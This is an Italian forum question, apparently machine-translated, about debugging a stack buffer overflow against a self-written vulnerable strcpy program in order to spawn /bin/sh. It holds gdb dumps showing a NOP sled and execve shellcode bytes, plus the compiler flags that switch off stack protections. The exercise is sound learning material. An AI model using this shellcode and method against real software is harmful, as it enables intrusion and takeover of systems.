Sto provando a fare un semplice overflow del buffer che chiama / bin / sh ma non riesce a farlo funzionare, è solo segfaults. Questo stesso exploit ha funzionato su un Linux vm che ho trasferito sul mio Mac. Per quanto mi riguarda, ho il controllo dell'EIP e punta al mio nopsled. Ho provato alcuni indirizzi all'interno del mio nosled ma senza fortuna. Ho anche provato a regolare nopsled prima e dopo il mio shellcode ma ancora senza fortuna.
Ecco il codice c che sto sfruttando:
#include <stdio.h>
int main(int argc, char **argv){
char buf[128];
strcpy(buf,argv[1]);
}
Compila:
$gcc -g -m32 -fno-stack-protector -o basic basic.c
Lo smontaggio di main:
(gdb) disas main
0x00001f40 <+0>: push %ebp
0x00001f41 <+1>: mov %esp,%ebp
0x00001f43 <+3>: push %esi
0x00001f44 <+4>: sub $0xa4,%esp
0x00001f4a <+10>: mov 0xc(%ebp),%eax
0x00001f4d <+13>: mov 0x8(%ebp),%ecx
0x00001f50 <+16>: xor %edx,%edx
0x00001f52 <+18>: lea -0x8c(%ebp),%esi
0x00001f58 <+24>: mov %ecx,-0x8(%ebp)
0x00001f5b <+27>: mov %eax,-0xc(%ebp)
0x00001f5e <+30>: mov -0xc(%ebp),%eax
0x00001f61 <+33>: mov 0x4(%eax),%eax
0x00001f64 <+36>: mov %esp,%ecx
0x00001f66 <+38>: mov %eax,0x4(%ecx)
0x00001f69 <+41>: mov %esi,(%ecx)
0x00001f6b <+43>: mov %edx,-0x90(%ebp)
0x00001f71 <+49>: call 0x1f8e
0x00001f76 <+54>: mov -0x90(%ebp),%ecx
0x00001f7c <+60>: mov %eax,-0x94(%ebp)
0x00001f82 <+66>: mov %ecx,%eax
0x00001f84 <+68>: add $0xa4,%esp
0x00001f8a <+74>: pop %esi
0x00001f8b <+75>: pop %ebp
strcpy () è la chiamata a * main + 49 quindi inserisco un'interruzione in * main + 54 ed eseguo l'alimentazione nel mio payload e ispeziono l'area intorno a esp ...
(gdb) b *main+54
Breakpoint 1 at 0x1f76: file basic.c, line 8.
(gdb) r 'cat payload'
Starting program: /Users/mnaymik/Desktop/test/basic 'cat payload'
Breakpoint 1, main (argc=-1869574000, argv=0x4e68732f) at basic.c:8
8 }
(gdb) x/40x $esp
0xbffffae0: 0xbffffafc 0xbffffc86 0x00000000 0x00000000
0xbffffaf0: 0x00000000 0x00000000 0x00000000 0x90909090
0xbffffb00: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffffb10: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffffb20: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffffb30: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffffb40: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffffb50: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffffb60: 0x31c03190 0x31c931db 0xeb0bb0d2 0x4b885b06
0xbffffb70: 0xe880cd07 0xfffffff5 0x6e69622f 0x4e68732f
Il mio shellcode sta entrando in memoria e sembra sovrascrivere EIP con l'indirizzo corretto. Ma ottengo un errore di accesso per 0xc7000000?
(gdb) s
Warning:
Cannot insert breakpoint 0.
Cannot access memory at address 0xc7000000
0xbffffb10 in ?? ()
(gdb) i r
eax 0x0 0
ecx 0x0 0
edx 0x0 0
ebx 0xbffffc1c -1073742820
esp 0xbffffb90 0xbffffb90
ebp 0x90909090 0x90909090
esi 0x90909090 -1869574000
edi 0x0 0
eip 0xbffffb10 0xbffffb10
eflags 0x386 [ PF SF TF IF ]
cs 0x1b 27
ss 0x23 35
ds 0x23 35
es 0x23 35
fs 0x0 0
gs 0xf 15
Qualcuno ha idea di cosa sto facendo male?
Modifica
Ho dovuto ricostruire gcc e ld perché non c'era nessun flag -z sulla mia versione nel mio post originale. Quindi gli offset sono leggermente cambiati.
Quindi ho impostato un punto di interruzione subito dopo call strcpy
(gdb) r 'cat pl'
Breakpoint 1, 0x565555d8 in main (
argc=<error reading variable: Cannot access memory at address 0x45455645>,
argv=<error reading variable: Cannot access memory at address 0x45455649>)
at basic.c:7
7 strcpy(buf,argv[1]);
EBP è @ 0xffffd1f8
(gdb) i r
eax 0xffffd170 -11920
ecx 0xffffd4e0 -11040
edx 0xffffd1f9 -11783
ebx 0x56557000 1448439808
esp 0xffffd160 0xffffd160
ebp 0xffffd1f8 0xffffd1f8
esi 0x2 2
edi 0xf7fab000 -134565888
eip 0x565555d8 0x565555d8 <main+56>
eflags 0x202 [ IF ]
cs 0x23 35
ss 0x2b 43
ds 0x2b 43
es 0x2b 43
fs 0x0 0
gs 0x63 99
Ho sostituito ebp + 4 per contenere un indirizzo in cui il mio nopsled è:
(gdb) x/40x $esp
0xffffd160: 0xffffd170 0xffffd453 0xf7ffd918 0x565555b7
0xffffd170: 0x90909090 0x90909090 0x90909090 0x90909090
0xffffd180: 0x90909090 0x90909090 0x90909090 0x90909090
0xffffd190: 0x90909090 0x90909090 0x90909090 0x90909090
0xffffd1a0: 0x90909090 0x90909090 0x90909090 0x90909090
0xffffd1b0: 0x90909090 0x90909090 0x90909090 0x90909090
0xffffd1c0: 0x90909090 0x90909090 0x90909090 0x90909090
0xffffd1d0: 0xc389c031 0x80cd17b0 0x6852d231 0x68732f6e
0xffffd1e0: 0x622f2f68 0x52e38969 0x8de18953 0x80cd0b42
0xffffd1f0: 0x41414141 0x41414141 0x41414141 0xffffd180
(gdb) x/2x $ebp
0xffffd1f8: 0x41414141 0xffffd180
Nessuna fortuna, questo è ciò che ottengo:
(gdb) continue
Continuing.
Program received signal SIGSEGV, Segmentation fault.
0x565555e9 in main (
argc=<error reading variable: Cannot access memory at address 0x41414141>,
argv=<error reading variable: Cannot access memory at address 0x41414145>)
at basic.c:8
8 }
(gdb) i r
eax 0x0 0
ecx 0x41414141 1094795585
edx 0xffffd1fd -11779
ebx 0x41414141 1094795585
esp 0x4141413d 0x4141413d
ebp 0x41414141 0x41414141
esi 0x2 2
edi 0xf7fab000 -134565888
eip 0x565555e9 0x565555e9 <main+73>
eflags 0x10282 [ SF IF RF ]
cs 0x23 35
ss 0x2b 43
ds 0x2b 43
es 0x2b 43
fs 0x0 0
gs 0x63 99
RISOLTO:
La risposta accettata a questo post lo spiega ( link ) La cancellazione delle variabili env e la compilazione con gcc -z execstack -fno-stack-protector -mpreferred-stack-boundary=2 -g vuln.c -o vuln
lo hanno reso un vanilla BO